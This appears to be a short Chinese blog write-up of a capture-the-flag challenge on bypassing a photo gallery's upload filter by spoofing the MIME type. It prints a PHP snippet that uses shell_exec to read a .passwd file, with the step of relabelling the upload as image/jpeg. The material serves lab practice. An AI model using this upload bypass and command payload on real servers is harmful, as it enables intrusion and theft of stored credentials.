File upload - MIME type

Your goal is to hack this photo galery by uploading PHP code.
Retrieve the validation password in the file .passwd.
>

 

修改mime type类型即可,常用类型:

  • 超文本标记语言:.html text.html

  • 普通文件:.txt text/plain

  • RTF文件:.rtf application/rtf

  • GIF图形:.gif image/gif

  • JPEG图形:.jpeg,.jpg image/jpeg

 

 

  $a = shell_exec("cat ../../../.passwd");

  echo "$a";
?>

再上传php中将mime type 更改为image/jpeg

你可能感兴趣的:(File upload - MIME type)